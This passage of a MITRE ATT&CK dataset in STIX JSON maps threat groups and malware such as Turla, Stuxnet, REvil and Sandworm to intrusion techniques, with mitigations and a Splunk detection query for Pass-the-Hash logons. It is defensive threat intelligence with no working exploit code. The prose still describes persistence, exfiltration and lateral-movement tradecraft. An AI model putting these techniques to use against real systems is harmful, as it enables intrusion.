Trendmicro_IcedID)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4f195e59-5f23-45d9-b48e-d0d0a0152b72","created":"2022-08-18T15:40:12.487Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used malicious documents containing exploits for CVE-2021-40444 affecting Microsoft MSHTML.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-18T15:40:12.487Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f223b45-a599-4f97-9932-edfdc4425fde","type":"relationship","created":"2021-08-18T18:22:07.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:14.260Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has established domains that impersonate legitimate entities to use for targeting efforts. (Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f243ab6-812f-4fd3-9607-8d94409a94c1","type":"relationship","created":"2020-05-13T15:28:06.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:52:17.533Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used stolen credentials to copy tools into the %TEMP% directory of domain controllers.(Citation: CrowdStrike Grim Spider May 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f2450a7-d2d2-4063-9dd5-cac396a3215c","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Mosquito May 2018","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/"},{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"},{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T20:18:12.863Z","description":"A [Turla](https://attack.mitre.org/groups/G0010) Javascript backdoor added a local_update_check value under the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence. Additionally, a [Turla](https://attack.mitre.org/groups/G0010) custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f24d075-4d6c-49d2-a213-306e4af2083d","created":"2019-06-21T16:21:55.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Alert TA13-175A Risks of Default Passwords on the Internet","description":"US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA13-175A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T21:01:57.788Z","description":"Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment.(Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.\n\nPolicies should minimize (if not eliminate) reuse of passwords between different user accounts, especially employees using the same credentials for personal accounts that may not be defended by enterprise security resources.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f27c041-e965-4ee3-b47c-6681e7fc1ace","created":"2024-03-11T20:04:21.963Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T20:04:21.963Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used DNS to tunnel IPv4 C2 traffic.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f290a4e-983c-460f-b00c-e1bc8dd4d413","type":"relationship","created":"2019-01-29T19:09:26.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2019-09-23T13:27:28.894Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) takes advantage of the /SetNotifyCmdLine option in [BITSAdmin](https://attack.mitre.org/software/S0190) to ensure it stays running on a system to maintain persistence.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f2bd19b-f0f4-4946-a7a5-4947be3346b1","created":"2020-12-14T17:34:58.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:00:59.969Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f2e62d0-5345-45dc-9e9d-46bb11c5f35d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2020-03-17T18:25:45.809Z","description":"[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f2ee424-4550-48ac-b995-2cdae87f45f9","type":"relationship","created":"2020-10-01T01:41:08.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T01:41:08.750Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f2fa285-c269-4bbc-afe8-afbd8fcfcda9","created":"2024-03-01T18:43:49.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T20:37:04.943Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors trojanized legitimate files in Ivanti Connect Secure appliances with malicious code.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f2fb45a-8359-4c75-93ae-095fcf9f856e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.618Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) can capture desktop screenshots in the PNG format and send them to the C2 server.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f31a0e5-3a3f-43b0-85d6-f9bcb6fe141a","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor executed command and arguments that may exfiltrate data to a code repository rather than over their primary command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f32ce54-46cf-4141-9700-9978056951db","type":"relationship","created":"2020-08-05T19:18:46.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-05T19:18:46.603Z","description":"[REvil](https://attack.mitre.org/software/S0496) can exfiltrate host and malware information to C2 servers.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f33536d-eb06-4eba-8765-4379e399f3b8","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}],"modified":"2022-02-24T21:00:56.053Z","description":"(Citation: Palo Alto Gamaredon Feb 2017)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)(Citation: Secureworks IRON TILDEN Profile)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f3473a4-f5f5-43d8-a4ec-589763695942","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatGeek Derusbi Converge","description":"Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.","url":"https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge"}],"modified":"2020-03-16T15:39:47.843Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.(Citation: ThreatGeek Derusbi Converge)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f351992-297b-45b0-b931-7b19875cd0ec","type":"relationship","created":"2021-09-07T15:24:47.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.027Z","description":"[Peppy](https://attack.mitre.org/software/S0643) has the ability to execute shell commands.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f3ad71b-bcf4-4673-a7ae-f861066110d8","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f41a697-db81-4df8-8b46-a59d294112fa","created":"2023-03-31T17:37:21.531Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T19:50:30.910Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) added a login to a SQL Server with `sp_addlinkedsrvlogin`.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f473df1-98ef-4cca-8669-70b7e70a8640","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:20:25.247Z","description":"Monitor newly created logons and credentials used in events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nNote: Analytic Event ID is for Windows Security Log (Event ID 4624 - An account was successfully logged on). The successful use of Pass the Hash for lateral movement between workstations would trigger Event ID 4624, with an event level of Information, from the Windows Security log. This event would show an account logon with a LogonType of 3 using NTLM authentication, a logon that is not a domain logon, and the user account not being the ANONYMOUS LOGON account.\n\nAnalytic 1 - Successful Local Account Login\n\n(sourcetype=\"WinEventLog:Security\" EventCode=\"4624\") LogonType=3 AND AuthenticationPackageName=\"NTLM\" AND TargetUser != \"ANONYMOUS LOGON\"","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4f4a052a-7e53-451f-8976-7c6f1623102d","created":"2022-08-02T15:47:30.411Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can determine the country a victim host is located in.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T15:47:30.411Z","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f54b318-43d1-4ae3-b6e5-912d2408dc0c","created":"2022-06-27T15:59:06.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike IceApple May 2022","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:55:22.804Z","description":"[IceApple](https://attack.mitre.org/software/S1022) can delete files and directories from targeted systems.(Citation: CrowdStrike IceApple May 2022)","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f550078-32b1-4abb-aa90-0e9fb7cc45f9","type":"relationship","created":"2019-01-30T18:39:48.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}],"modified":"2019-07-17T01:18:32.713Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.(Citation: Securelist Sofacy Feb 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f590bfb-0436-4d8e-a5a1-5bd1dfcf350d","created":"2023-03-17T15:28:14.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:01:08.863Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) registered a domain name identical to that of a compromised company as part of their BEC effort.(Citation: ESET Lazarus Jun 